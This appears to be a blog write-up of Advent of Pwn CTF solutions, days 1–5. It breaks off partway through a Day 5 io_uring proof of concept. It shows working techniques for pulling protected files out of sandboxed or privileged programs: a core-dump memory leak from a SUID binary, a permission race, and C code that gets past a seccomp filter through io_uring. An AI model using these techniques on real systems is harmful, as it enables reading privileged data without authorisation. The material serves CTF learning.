
Advent of Pwn is an Advent CTF created by the awesome team at ASU behind pwn.college. This year was its first edtion. In this post I’ll go through my solutions and share some of the things I’ve learnt along the way. Having time available mostly at odd evening hours, I finished only 9/12 challenges during the CTF and worked on the rest of them later. If you haven’t stumbled upon other solutions already before landing on this page, please do check them out as you might find some more elegant ideas from seasoned CTF players. Especially for levels 5, which was a bit trickier, and 6 which had multiple solutions.
Before going into the technical solutions, a few words about LLMs, which seem to be the theme nowadays. During the CTF I relied on LLMs for a couple of tasks which I believe they proved really useful at:
- Making sense of large amounts of code, high level or disassembly.
- Getting started with complicated subjects (e.g. understanding a custom blockchain).
- Repetitive tasks when speed or code quality was not a concern.
Multiple friends I’ve talked to during the CTF were skeptic about using LLMs and I definitely understand why. Some drawbacks I’ve experienced continously, not just during this CTF but in general:
- It’s really easy to get directed to rabbit holes or ideas that don’t lead anywhere.
- Very often they miss good ideas.
- They suggest paths which appear correct and seem to make sense, but are either very inefficient or simply wrong.
- On advanced topics, or things for which simply there’s not much information available (for example level 5 shellcode for
io_uringasync I/O here), no amount of vibe-researching will get you to the solution. - Again, not much chance against esoteric topics like pwn.college’s The Art of the Shell or Linux Lunacy modules, which are awesome BTW.
Last but definitely not least, huge thanks to the creators of these challenges for the effort of designing and making them available for everyone!
Solutions and all challenge files to follow along are also on GitHub. Challenge descriptions were fun to read but I think they didn’t add much useful information towards solving them. So, for brevity I’m usually ommiting them here.
Day 1 - Warm-up gatekeeper
Day 2 - Dumpable SUID binary
Day 3 - Sleeping nicely
Day 4 - eBPF filters
Day 5 - io_uring syscall filter bypass
Day 6 - Custom blockchain
Day 7 - SSRFs chain
Day 8 - Jinja2 template
Day 9 - Custom Python bytecode processing unit
Day 10 - Unix domain sockets fd passing
Day 11 - MS-DOS comeback
Day 12 - AVX instructions symbolic analysis
Day 1 - Warm-up gatekeeper
In this challenge we’re dealing with an ELF 😛 that performs some checks on its input:
$ file /challenge/check-list
/challenge/check-list: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=de16e5b4aea576aabe09d12729be47c53ff6e586, stripped
$ pwn checksec /challenge/check-list
[*] '/challenge/check-list'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
The code is really massive (1M+ lines of disassembly in Ghidra) but quite eays to understand. We’re dealing with a large array of input bytes:
mov rbp, rsp
sub rsp, 500h
mov eax, 0
mov edi, 0 ; fd
lea rsi, [rbp+var_400] ; buf
mov edx, 400h ; count
syscall ; LINUX - sys_read
And thousands of basic operations (sub and add) applied on each element. Towards the end there are some checks on each array element. If we pass all the checks we get the flag:
jnz wrong_byte
cmp [rbp+var_1], 7Dh ; '}'
jnz wrong_byte
mov rax, 1
mov rdi, 1 ; fd
lea rsi, bufCorrectStart ; buf
mov rdx, 31h ; '1' ; count
syscall ; LINUX - sys_write
mov eax, 2
lea rdi, filename ; Open flag
mov esi, 0 ; flags
mov edx, 0 ; mode
syscall ; LINUX - sys_open
cmp rax, 0
jl short loc_AA40B6
mov r12, rax
mov eax, 0
mov rdi, r12 ; fd
lea rsi, [rbp+var_500] ; buf
mov edx, 100h ; count
syscall ; LINUX - sys_read
cmp rax, 0
jle short loc_AA40B6
mov rcx, rax
mov rax, 1
mov rdi, 1 ; fd
lea rsi, [rbp+var_500] ; buf
mov rdx, rcx ; count
syscall ; LINUX - sys_write
cmp rax, 0
jl short loc_AA40B6
mov eax, 3Ch ; '<'
mov edi, 0 ; error_code
syscall ; LINUX - sys_exit
For this level, once you understand what’s happening a simple Python script can parse all the code, extract the operations and final value for each array element and reverse them to get the expected input key:
~ python3 day-01-reconstruct-key.py
--- Key Reconstruction Complete ---
Key length: 1024 bytes
Successfully wrote the reconstructed key to 'reconstructed_key.bin' (binary format).
~ scp reconstructed_key.bin hacker@dojo.pwn.college:/home/hacker
reconstructed_key.bin
Then get the flag:
$ /challenge/check-list < reconstructed_key.bin
✨ Correct: you checked it twice, and it shows!
pwn.college{cqFsdOJjQoO-immwxNL7kN4DOFJ.QX4UDOxIDLzQDMyQzW}
Day 2 - Dumpable SUID binary
Another ELF binary:
$ pwn checksec /challenge/claus
[*] '/challenge/claus'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
But this time we have its source:
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char gift[256];
void wrap(char *gift, size_t size)
{
fprintf(stdout, "Wrapping gift: [ ] 0%%");
for (int i = 0; i < size; i++) {
sleep(1);
gift[i] = "#####\n"[i % 6];
int progress = (i + 1) * 100 / size;
int bars = progress / 10;
fprintf(stdout, "\rWrapping gift: [");
for (int j = 0; j < 10; j++) {
fputc(j < bars ? '=' : ' ', stdout);
}
fprintf(stdout, "] %d%%", progress);
fflush(stdout);
}
fprintf(stdout, "\n🎁 Gift wrapped successfully!\n\n");
}
void sigtstp_handler(int signum)
{
puts("🎅 Santa won't stop!");
}
int main(int argc, char **argv, char **envp)
{
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid) == -1) {
perror("getresuid");
return 1;
}
if (euid != 0) {
fprintf(stderr, "❌ Error: Santa must wrap as root!\n");
return 1;
}
if (ruid != 0) {
if (setreuid(0, -1) == -1) {
perror("setreuid");
return 1;
}
fprintf(stdout, "🦌 Now, Dasher! now, Dancer! now, Prancer and Vixen!\nOn, Comet! on Cupid! on, Donder and Blitzen!\n\n");
execve("/proc/self/exe", argv, envp);
perror("execve");
return 127;
}
if (signal(SIGTSTP, sigtstp_handler) == SIG_ERR) {
perror("signal");
return 1;
}
int fd = open("/flag", O_RDONLY);
if (fd == -1) {
perror("open");
return 1;
}
int count = read(fd, gift, sizeof(gift));
if (count == -1) {
perror("read");
return 1;
}
wrap(gift, count);
puts("🎄 Merry Christmas!\n");
puts(gift);
return 0;
}
Day 2 has a short init script that modifies the pattern for core files, to be in line with the challenge descrption:
#!/bin/sh
set -eu
mount -o remount,rw /proc/sys
echo coal > /proc/sys/kernel/core_pattern
mount -o remount,ro /proc/sys
The plan for this one is straight-forward: trigger a core dump then find the flag, which should still have been in memory. To do that, first make sure to set the core size:
$ ulimit -c
0
$ ulimit -c unlimited
$ ulimit -c
unlimited
There might be other ways but I went for a SIGQUIT (*Ctrl + *))which triggers a core dump:
$ /challenge/claus
🦌 Now, Dasher! now, Dancer! now, Prancer and Vixen!
On, Comet! on Cupid! on, Donder and Blitzen!
Wrapping gift: [ ] 1%^\Quit (core dumped)
$ ls -al coal
-rw------- 1 root ubuntu 425984 Dec 2 19:41 coal
There are multiple ways to extract the flag as well, but I wanted to see if I could find it in the core using GDB:
gdb /challenge/claus ~/coal
gef➤ bt
#0 0x00007f51c4d86a7a in clock_nanosleep () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007f51c4d93a27 in nanosleep () from /lib/x86_64-linux-gnu/libc.so.6
#2 0x00007f51c4da8c93 in sleep () from /lib/x86_64-linux-gnu/libc.so.6
#3 0x0000557a2330723d in wrap ()
#4 0x0000557a2330755b in main ()
gef➤ x/7i $rip
=> 0x557a2330755b <main+452>: lea rax,[rip+0xbf9] # 0x557a2330815b
0x557a23307562 <main+459>: mov rdi,rax
0x557a23307565 <main+462>: call 0x557a23307030 <puts@plt>
0x557a2330756a <main+467>: lea rax,[rip+0x2b4f] # 0x557a2330a0c0 <gift>
0x557a23307571 <main+474>: mov rdi,rax
0x557a23307574 <main+477>: call 0x557a23307030 <puts@plt>
0x557a23307579 <main+482>: mov eax,0x0
gef➤ x/s 0x557a2330a0c0
0x557a2330a0c0 <gift>: "##n.college{4vYY1y_EKEbWDpks1zEp7C7y8mm.QX4cDOxIDLzQDMyQzW}\n"
Day 3 - Sleeping nicely
Only when children sleep sweetly and nice does Santa begin his flight
Despite having a massive description, this is another short and sweet one. The challenge has an init script which launches the folowing script in the background:
#!/bin/sh
set -eu
GIFT="$(cat /flag)"
rm /flag
touch /stocking
sleeping_nice() {
ps ao ni,comm --no-headers \
| awk '$1 > 0' \
| grep -q sleep
}
# Only when children sleep sweetly and nice does Santa begin his flight
until sleeping_nice; do
sleep 0.1
done
chmod 400 /stocking
printf "%s" "$GIFT" > /stocking
When nice sleep is detected, Santa will drop the flag, but not before making the stocking unreadble. Naughty! The idea is to open the /stocking file before Santa changes its permissions, then sleep nicely:
$ ls /stocking
-rw-r--r-- 1 root root 0 Dec 3 12:48 /stocking
$ tail -f /stocking
pwn.college{sucGPgrXk1E5Phyq-QhxTqXukrZ.QX0gDOxIDLzQDMyQzW}
- Challenge is already running. Start sleeping nicely
$ nice -n 10 sleep 1
Day 4 - eBPF filters
Another init file which runs a compiled ELF binary, and its source is available. Since it’s not very long, I’ll paste it here:
#define _GNU_SOURCE
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <stdbool.h>
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
static volatile sig_atomic_t stop;
static void handle_sigint(int sig)
{
(void)sig;
stop = 1;
}
static int libbpf_print_fn(enum libbpf_print_level level,
const char *fmt, va_list args)
{
return vfprintf(stderr, fmt, args);
}
static void broadcast_cheer(void)
{
libbpf_set_print(libbpf_print_fn);
libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
DIR *d = opendir("/dev/pts");
struct dirent *de;
char path[64];
char flag[256];
char banner[512];
ssize_t n;
if (!d)
return;
int ffd = open("/flag", O_RDONLY | O_CLOEXEC);
if (ffd >= 0) {
n = read(ffd, flag, sizeof(flag) - 1);
if (n >= 0)
flag[n] = '\0';
close(ffd);
} else {
strcpy(flag, "no-flag\n");
}
snprintf(
banner,
sizeof(banner),
"🎅 🎄 🎁 \x1b[1;31mHo Ho Ho\x1b[0m, \x1b[1;32mMerry Christmas!\x1b[0m\n"
"%s",
flag);
while ((de = readdir(d)) != NULL) {
const char *name = de->d_name;
size_t len = strlen(name);
bool all_digits = true;
if (len == 0 || name[0] == '.')
continue;
if (strcmp(name, "ptmx") == 0)
continue;
for (size_t i = 0; i < len; i++) {
if (!isdigit((unsigned char)name[i])) {
all_digits = false;
break;
}
}
if (!all_digits)
continue;
snprintf(path, sizeof(path), "/dev/pts/%s", name);
int fd = open(path, O_WRONLY | O_NOCTTY | O_CLOEXEC);
if (fd < 0)
continue;
write(fd, "\x1b[2J\x1b[H", 7);
write(fd, banner, strlen(banner));
close(fd);
}
closedir(d);
}
int main(void)
{
struct bpf_object *obj = NULL;
struct bpf_program *prog = NULL;
struct bpf_link *link = NULL;
struct bpf_map *success = NULL;
int map_fd;
__u32 key0 = 0;
int err;
int should_broadcast = 0;
libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
setvbuf(stdout, NULL, _IONBF, 0);
obj = bpf_object__open_file("/challenge/tracker.bpf.o", NULL);
if (!obj) {
fprintf(stderr, "Failed to open BPF object: %s\n", strerror(errno));
return 1;
}
err = bpf_object__load(obj);
if (err) {
fprintf(stderr, "Failed to load BPF object: %s\n", strerror(-err));
goto cleanup;
}
prog = bpf_object__find_program_by_name(obj, "handle_do_linkat");
if (!prog) {
fprintf(stderr, "Could not find BPF program handle_do_linkat\n");
goto cleanup;
}
link = bpf_program__attach_kprobe(prog, false, "__x64_sys_linkat");
if (!link) {
fprintf(stderr, "Failed to attach kprobe __x64_sys_linkat: %s\n", strerror(errno));
goto cleanup;
}
signal(SIGINT, handle_sigint);
signal(SIGTERM, handle_sigint);
success = bpf_object__find_map_by_name(obj, "success");
if (!success) {
fprintf(stderr, "Failed to find success map\n");
goto cleanup;
}
map_fd = bpf_map__fd(success);
printf("Attached. Press Ctrl-C to quit.\n");
fflush(stdout);
while (!stop) {
__u32 v = 0;
if (bpf_map_lookup_elem(map_fd, &key0, &v) == 0 && v != 0) {
should_broadcast = 1;
stop = 1;
break;
}
usleep(100000);
}
if (should_broadcast) {
printf("Ho Ho Ho\n");
broadcast_cheer();
}
cleanup:
if (link)
bpf_link__destroy(link);
if (obj)
bpf_object__close(obj);
return err ? 1 : 0;
}
Basically the challenge loads a BPF filter from a compiled object file - tracker.bpf.o (Sorry, no source code available this time), locates a BPF program (handle_do_linkat) and attaches a probe to it then gets a handle to a success map. It then continously checks for the presence of a first element in it with a value different than 0. To get an idea about the compiled eBPF filter, list all the sections:
$ llvm-objdump -h /challenge/tracker.bpf.o
/challenge/tracker.bpf.o: file format elf64-bpf
Sections:
Idx Name Size VMA Type
0 00000000 0000000000000000
1 .strtab 0000008f 0000000000000000
2 .text 00000000 0000000000000000 TEXT
3 kprobe/__x64_sys_linkat 000008a8 0000000000000000 TEXT
4 .relkprobe/__x64_sys_linkat 00000030 0000000000000000
5 license 0000000d 0000000000000000 DATA
6 .maps 00000040 0000000000000000 DATA
7 .BTF 00000937 0000000000000000
8 .rel.BTF 00000030 0000000000000000
9 .BTF.ext 00000560 0000000000000000
10 .rel.BTF.ext 00000530 0000000000000000
11 .llvm_addrsig 00000004 0000000000000000
12 .symtab 00000090 0000000000000000
And then peek inside the custom linkat handler:
$ llvm-objdump -d -j kprobe/__x64_sys_linkat /challenge/tracker.bpf.o
challenge/tracker.bpf.o: file format elf64-bpf
Disassembly of section kprobe/__x64_sys_linkat:
0000000000000000 <handle_do_linkat>:
0: 79 16 70 00 00 00 00 00 r6 = *(u64 *)(r1 + 0x70)
1: b7 01 00 00 00 00 00 00 r1 = 0x0
2: 7b 1a d0 ff 00 00 00 00 *(u64 *)(r10 - 0x30) = r1
3: 7b 1a c8 ff 00 00 00 00 *(u64 *)(r10 - 0x38) = r1
4: 15 06 0e 01 00 00 00 00 if r6 == 0x0 goto +0x10e <handle_do_linkat+0x898>
5: bf 63 00 00 00 00 00 00 r3 = r6
6: 07 03 00 00 68 00 00 00 r3 += 0x68
7: bf a1 00 00 00 00 00 00 r1 = r10
8: 07 01 00 00 d0 ff ff ff r1 += -0x30
9: b7 02 00 00 08 00 00 00 r2 = 0x8
10: 85 00 00 00 71 00 00 00 call 0x71
11: 07 06 00 00 38 00 00 00 r6 += 0x38
12: bf a1 00 00 00 00 00 00 r1 = r10
13: 07 01 00 00 c8 ff ff ff r1 += -0x38
14: b7 02 00 00 08 00 00 00 r2 = 0x8
15: bf 63 00 00 00 00 00 00 r3 = r6
16: 85 00 00 00 71 00 00 00 call 0x71
17: 79 a3 d0 ff 00 00 00 00 r3 = *(u64 *)(r10 - 0x30)
18: 15 03 00 01 00 00 00 00 if r3 == 0x0 goto +0x100 <handle_do_linkat+0x898>
19: 79 a1 c8 ff 00 00 00 00 r1 = *(u64 *)(r10 - 0x38)
20: 15 01 fe 00 00 00 00 00 if r1 == 0x0 goto +0xfe <handle_do_linkat+0x898>
21: bf a1 00 00 00 00 00 00 r1 = r10
22: 07 01 00 00 d8 ff ff ff r1 += -0x28
23: b7 02 00 00 10 00 00 00 r2 = 0x10
24: 85 00 00 00 72 00 00 00 call 0x72
25: 67 00 00 00 20 00 00 00 r0 <<= 0x20
26: c7 00 00 00 20 00 00 00 r0 s>>= 0x20
27: b7 01 00 00 01 00 00 00 r1 = 0x1
28: 6d 01 f6 00 00 00 00 00 if r1 s> r0 goto +0xf6 <handle_do_linkat+0x898>
29: 79 a3 d0 ff 00 00 00 00 r3 = *(u64 *)(r10 - 0x30)
30: bf a1 00 00 00 00 00 00 r1 = r10
31: 07 01 00 00 f0 ff ff ff r1 += -0x10
32: b7 02 00 00 10 00 00 00 r2 = 0x10
33: 85 00 00 00 72 00 00 00 call 0x72
34: 67 00 00 00 20 00 00 00 r0 <<= 0x20
35: 77 00 00 00 20 00 00 00 r0 >>= 0x20
36: 55 00 ee 00 07 00 00 00 if r0 != 0x7 goto +0xee <handle_do_linkat+0x898>
37: 71 a1 f0 ff 00 00 00 00 r1 = *(u8 *)(r10 - 0x10)
38: 55 01 ec 00 73 00 00 00 if r1 != 0x73 goto +0xec <handle_do_linkat+0x898> // s
39: 71 a1 f1 ff 00 00 00 00 r1 = *(u8 *)(r10 - 0xf)
40: 55 01 ea 00 6c 00 00 00 if r1 != 0x6c goto +0xea <handle_do_linkat+0x898> // l
41: 71 a1 f2 ff 00 00 00 00 r1 = *(u8 *)(r10 - 0xe)
42: 55 01 e8 00 65 00 00 00 if r1 != 0x65 goto +0xe8 <handle_do_linkat+0x898> // e
43: 71 a1 f3 ff 00 00 00 00 r1 = *(u8 *)(r10 - 0xd)
44: 55 01 e6 00 69 00 00 00 if r1 != 0x69 goto +0xe6 <handle_do_linkat+0x898> // i
45: 71 a1 f4 ff 00 00 00 00 r1 = *(u8 *)(r10 - 0xc)
46: 55 01 e4 00 67 00 00 00 if r1 != 0x67 goto +0xe4 <handle_do_linkat+0x898> // g
47: 71 a1 f5 ff 00 00 00 00 r1 = *(u8 *)(r10 - 0xb)
48: 55 01 e2 00 68 00 00 00 if r1 != 0x68 goto +0xe2 <handle_do_linkat+0x898> // h
49: 79 a3 c8 ff 00 00 00 00 r3 = *(u64 *)(r10 - 0x38)
50: bf a1 00 00 00 00 00 00 r1 = r10
51: 07 01 00 00 d8 ff ff ff r1 += -0x28
52: b7 02 00 00 10 00 00 00 r2 = 0x10
53: 85 00 00 00 72 00 00 00 call 0x72
54: 67 00 00 00 20 00 00 00 r0 <<= 0x20
55: c7 00 00 00 20 00 00 00 r0 s>>= 0x20
56: b7 01 00 00 01 00 00 00 r1 = 0x1
[...]
The disassembly is quite large but repetitive. At this point I used an LLM to do a first pass thrugh the decompiled code with mixed results. What I got was that the binary running as SUID will broadcast the flag when an unprivileged process executes the linkat system call, and the newpath argument must point to a string that exactly matches: “prancer”. Although this wasn’t correct, it was a good starting point.
Before recovering all the expected arguments to linkat from the disassembly, I wanted to understand a bit more the eBPF filter, so I recompiled the binary with debug information. To do this, we need libbpf and some includes:
$ LIBBPF_ROOT=/nix/store/b9zasiadhppl3kbn3jlfvvssc35hhavq-libbpf-1.5.0
$ sudo gcc -o northpole -Wall -g northpole.c \
-I${LIBBPF_ROOT}/include \
-L${LIBBPF_ROOT}/lib \
-lbpf
The BPF program actually defines two maps:
$ sudo bpftool map show
1: array name progress flags 0x0
key 4B value 4B max_entries 1 memlock 272B
btf_id 12
2: array name success flags 0x0
key 4B value 4B max_entries 1 memlock 272B
btf_id 12
The first one is used to track the progress from one link to another, almost like a state machine. That’s why the order of the link operations matter (more on this next). The second map is the one checked by the C program for success. We can also dump the maps with bpftool:
$ sudo bpftool map dump name progress
[{
"key": 0,
"value": 1
}
]
$ sudo bpftool map dump name success
[{
"key": 0,
"value": 0
}
]
Or even manually set values for elements, to confirm the understanding of the code is correct:
$ sudo bpftool map update name success key hex 00 00 00 00 value hex 01 00 00 00
$ sudo bpftool map dump name success
[{
"key": 0,
"value": 1
}
]
To trigger the winning path we need a chain of link operations. Let’s see if this works or not:
$ touch sleigh
$ sudo bpftool map dump name progress
[{
"key": 0,
"value": 0
}
]
$ ln sleigh dasher
$ sudo bpftool map dump name progress
[{
"key": 0,
"value": 1
}
]
We made progress! Next step was to get the name of the other reindeers and their order (which by the way it doesn’t match the song, so you still have to find them all) and get the 🚩:
$ touch sleigh
$ ln sleigh dasher
$ ln sleigh dancer
$ ln sleigh prancer
$ ln sleigh vixen
$ ln sleigh comet
$ ln sleigh cupid
$ ln sleigh donner
$ ln sleigh blitzen
🎅 🎄 🎁 Ho Ho Ho, Merry Christmas!
pwn.college{I5Wgtp3zwRZOMihukp1FJYbSqCP.QXykDOxIDLzQDMyQzW}
Day 5 - io_uring syscall filter bypass
Dashing through the code,
In a one-ring I/O sled,
O’er the syscalls go,
No blocking lies ahead!
Buffers queue and spin,
Completions shining bright,
What fun it is to read and write,
Async I/O tonight — hey!
For this challenge the description is short but the solution took me a while to get it right (especially the shellcode part). The challlenge code is also short and very easy to understand:
#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#define NORTH_POLE_ADDR (void *)0x1225000
int setup_sandbox()
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx) {
perror("seccomp_init");
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_setup), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_enter), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_register), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
perror("seccomp_rule_add");
return 1;
}
if (seccomp_load(ctx) < 0) {
perror("seccomp_load");
return 1;
}
seccomp_release(ctx);
return 0;
}
int main()
{
void *code = mmap(NORTH_POLE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code != NORTH_POLE_ADDR) {
perror("mmap");
return 1;
}
srand(time(NULL));
int offset = (rand() % 100) + 1;
puts("🛷 Loading cargo: please stow your sled at the front.");
if (read(STDIN_FILENO, code, 0x1000) < 0) {
perror("read");
return 1;
}
puts("📜 Checking Santa's naughty list... twice!");
if (setup_sandbox() != 0) {
perror("setup_sandbox");
return 1;
}
// puts("❄️ Dashing through the snow!");
((void (*)())(code + offset))();
// puts("🎅 Merry Christmas to all, and to all a good night!");
return 0;
}
The idea is clear: all the syscalls except io_uring_setup, io_uring_enter and io_uring_register are blocked and we get a mapped memory page to store some shellcode to be executed. Straght-forward but there are a few difficult things to overcome here:
- Not much code showing how to work with
io_uringis available online (So not much material for LLMs to train with) io_uring_setupsyscall returns a file descriptor which needs to bemmap-ed, butmmapsyscall is not allowed!- There’s a large number of structures and member fields involved, whose offsets differ from one kernel version to another (So an LLM will likely fail to generate any working shellcode)
My plan was as follows:
- Locate a working example for
io_uringasync I/O. - Adapt the example to open a file, read and write its content to stdout.
- Convert it to shellcode and feed it to the challenge binary
- Enjoy!
Luckily, towards the end of the io_uring man page there’s an example that uses io_uring to copy stdin to stdout. Nice, let’s see if it works:
$ gcc io_uring_orig.c -o io_uring
ubuntu@2025~day-05:~$ ./io_uring
hello
hello
Next, clean the code and adapt it to read and print the flag:
$ gcc io_uring_mod.c -o io_uring
ubuntu@practice~2025~day-05:~$ sudo ./io_uring
pwn.college{practice}
But how to get rid of the mmap calls? By default, io_uring allocates kernel memory for submission queue and completion queue, that callers must subsequently mmap. However, consulting the io_uring_setup man page I noticed the IORING_SETUP_NO_MMAP flag. As per documentaiont, if this flag is set, io_uring instead uses caller-allocated buffers: p->cq_off.user_addr must point to the memory for the sq/cq rings, and p->sq_off.user_addr must point to the memory for the sqes. Neat!
I’ve trimmed the PoC even more and simulated the conditions of the challege binary with two page-aligned (very important) buffers on the stack:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <stdlib.h>
#include <errno.h>
/* Define Page Size */
#define PAGE_SIZE 4096
static int ring_fd;
static struct io_uring_sqe *sqes;
static struct io_uring_cqe *cqes;
static uint32_t *sq_tail, *sq_head, *sq_mask;
static uint32_t *cq_tail, *cq_head, *cq_mask;
static inline int enter_syscall(int to_submit, int min_complete) {
return syscall(__NR_io_uring_enter, ring_fd,
to_submit, min_complete,
IORING_ENTER_GETEVENTS, NULL, 0);
}
/* setup accepts pointers to the pre-allocated stack memory */
static void setup(void *rings_ptr, void *sqes_ptr) {
struct io_uring_params p = {0};
p.sq_entries = 1;
p.cq_entries = 1;
p.flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY;
/* Tell kernel where the memory is */
p.cq_off.user_addr = (uint64_t)(unsigned long)rings_ptr;
p.sq_off.user_addr = (uint64_t)(unsigned long)sqes_ptr;
ring_fd = syscall(__NR_io_uring_setup, 8, &p);
if (ring_fd < 0) {
perror("io_uring_setup");
exit(1);
}
/* SQEs: user-provided sqes_ptr */
sqes = (struct io_uring_sqe *)sqes_ptr;
/* Map offsets to our stack buffer */
void *ring_base = rings_ptr;
sq_head = (uint32_t *)((char *)ring_base + p.sq_off.head);
sq_tail = (uint32_t *)((char *)ring_base + p.sq_off.tail);
sq_mask = (uint32_t *)((char *)ring_base + p.sq_off.ring_mask);
cq_head = (uint32_t *)((char *)ring_base + p.cq_off.head);
cq_tail = (uint32_t *)((char *)ring_base + p.cq_off.tail);
cq_mask = (uint32_t *)((char *)ring_base + p.cq_off.ring_mask);
cqes = (struct io_uring_cqe *)((char *)ring_base + p.cq_off.cqes);
}
static int submit_sqe(struct io_uring_sqe *sqe) {
uint32_t t = *sq_tail;
uint32_t idx = t & *sq_mask;
printf("[*] submit_sqe: %d\n", idx);
memcpy(&sqes[idx], sqe, sizeof(*sqe));
*sq_tail = t + 1;
if (enter_syscall(1, 1) < 0) { perror("enter"); _exit(1); }
while (*cq_head == *cq_tail) ;
uint32_t cidx = *cq_head & *cq_mask;
int res = cqes[cidx].res;
(*cq_head)++;
return res;
}
int main() {
/* 1. Allocate on Stack
2. Use __attribute__((aligned(PAGE_SIZE)))
3. Zero out memory (mmap does this automatically, stack does not)
*/
uint8_t rings_stack[PAGE_SIZE] __attribute__((aligned(PAGE_SIZE)));
uint8_t sqes_stack[PAGE_SIZE] __attribute__((aligned(PAGE_SIZE)));
memset(rings_stack, 0, PAGE_SIZE);
memset(sqes_stack, 0, PAGE_SIZE);
/* Pass stack addresses to setup */
setup(rings_stack, sqes_stack);
char path[] = "/flag";
char buf[4096];
struct io_uring_sqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_OPENAT;
sqe.fd = AT_FDCWD;
sqe.addr = (unsigned long)path;
sqe.open_flags = O_RDONLY;
int fd = submit_sqe(&sqe);
if (fd < 0) {
write(2, "open failed\n", 12);
return 1;
}
printf("[*] File opened with fd: %x\n", fd);
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_READ;
sqe.fd = fd;
sqe.addr = (unsigned long)buf;
sqe.len = sizeof(buf);
int r = submit_sqe(&sqe);
if (r < 0) {
write(2, "read failed\n", 12);
return 1;
}
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_WRITE;
sqe.fd = 1;
sqe.addr = (unsigned long)buf;
sqe.len = r;
submit_sqe(&sqe);
return 0;
}
With this simple code I got the flag without the need to mmap anything:
$ gcc io_uring_nommap.c -o io_uring
$ sudo ./io_uring
[*] submit_sqe: 0
[*] File opened with fd: 4
[*] submit_sqe: 1
[*] submit_sqe: 2
pwn.college{practice}
At this point I didn’t realise I could have converted my PoC straight to working assembly code as other have done (check the writeups mentioend in the beginning!) and I manually converted this to shellcode. To make my job easier I minimised the PoC code even more and replaced all the defines with their actual values. I also made all the access to structure members to be offset-based (these offsets vary from one kernel version to another!) using the offsetof macro:
printf("offsetof(struct io_uring_sqe, len): %d\n", offsetof(struct io_uring_sqe, len));
The result is this short snippet:
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stddef.h>
int main() {
int ring_fd;
struct io_uring_sqe *sqes;
struct io_uring_cqe *cqes;
uint32_t *sq_tail;
uint32_t *cq_head;
uint8_t rings_stack[4096] __attribute__((aligned(4096)));
uint8_t sqes_stack[4096] __attribute__((aligned(4096)));
memset(rings_stack, 0, 4096);
memset(sqes_stack, 0, 4096);
struct io_uring_params p = {0};
char *p_ptr = (char *)&p;
*((uint32_t*)(p_ptr + 0x0)) = 8;
*((uint32_t*)(p_ptr + 0x4)) = 8;
*((uint32_t*)(p_ptr + 0x8)) = 0x14000;
*((uint64_t*)(p_ptr + 0x70)) = (uint64_t)rings_stack;
*((uint64_t*)(p_ptr + 0x48)) = (uint64_t)sqes_stack;
ring_fd = syscall(__NR_io_uring_setup, 8, &p);
sqes = (struct io_uring_sqe *)sqes_stack;
sq_tail = (uint32_t *)((char *)rings_stack + 4); // p.sq_off.tail
cqes = (struct io_uring_cqe *)((char *)rings_stack + 64); // p.cq_off.cqes
cq_head = (uint32_t *)((char *)rings_stack + 8); // p.cq_off.head
char path[] = "/flag";
char buf[4096];
struct io_uring_sqe sqe;
memset(&sqe, 0, sizeof(sqe));
char *sqe_ptr = (char *)&sqe;
*((__u8 *)(sqe_ptr + 0)) = 18; // IORING_OP_OPENAT
*((__s32 *)(sqe_ptr + 4)) = -100; // AT_FDCWD
*((unsigned long *)(sqe_ptr + 16)) = (unsigned long)path;
*((__u32 *)(sqe_ptr + 28)) = 0; // O_RDONLY;
memcpy(&sqes[0], &sqe, sizeof(sqe));
(*sq_tail)++;
syscall(__NR_io_uring_enter, ring_fd, 1, 1, 1, NULL, 0);
(*cq_head)++;
int fd = cqes[0].res;
printf("fd: %d\n", fd);
memset(&sqe, 0, sizeof(sqe));
*((__u8 *)(sqe_ptr + 0)) = 22; //IORING_OP_READ;
*((__s32 *)(sqe_ptr + 4)) = fd;
*((unsigned long *)(sqe_ptr + 16)) = (unsigned long)buf;
*((unsigned long *)(sqe_ptr + 24)) = sizeof(buf);
memcpy(&sqes[1], &sqe, sizeof(sqe));
(*sq_tail)++;
syscall(__NR_io_uring_enter, ring_fd, 1, 1, 1, NULL, 0);
